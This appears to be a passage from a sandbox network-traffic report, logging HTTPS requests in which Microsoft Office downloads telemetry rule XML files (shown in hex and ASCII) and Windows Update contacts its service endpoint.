20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:57 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:57 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: e7102de9-901e-0029-7d09-37274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033357Z-1866b5c5fbb9ls62hC1DFW4k2s000000029g00000000ehu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:57 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033358Z-16547b76f7fk9g8vhC1DFW825400000002w000000000qdf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:58 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: bd2de512-a01e-0050-6680-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033358Z-164f84587bfr8hdmhC1DFWt5nc00000000hg000000000bw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:33:58 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:58 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033358Z-16547b76f7fz92z5hC1DFWmdx800000000hg000000003x4w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:58 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bc7018b2-201e-003f-17bb-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033358Z-16547b76f7flf9g6hC1DFWmcx80000000bhg00000000k5cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:33:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033358Z-16547b76f7f64d6whC1DFWf9vn00000000r000000000q63e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-16547b76f7fsq6p7hC1DFWfx6800000000r0000000007taw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: a0c6eadb-101e-007a-0609-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-16547b76f7fmcv27hC1DFWgpcg0000000120000000006x5z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-16547b76f7f7scqbhC1DFW0m5w0000000ntg00000000udxa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:58 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-1866b5c5fbb9m92fhC1DFWwu78000000027g00000000q9zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-16547b76f7ftnm6xhC1DFW9c8c00000001x0000000004w0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49862	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1uoc19OFMACUN2E&MD=7BxMkHdp HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-16 03:33:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f105d1b7-2503-444f-8643-ade2f61742dc MS-RequestId: 45aea9da-e946-4456-b2b8-91c4b71ef646 MS-CV: ixFYaZW1fkCtvgaz.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 16 Nov 2024 03:33:59 GMT Connection: close Content-Length: 30005
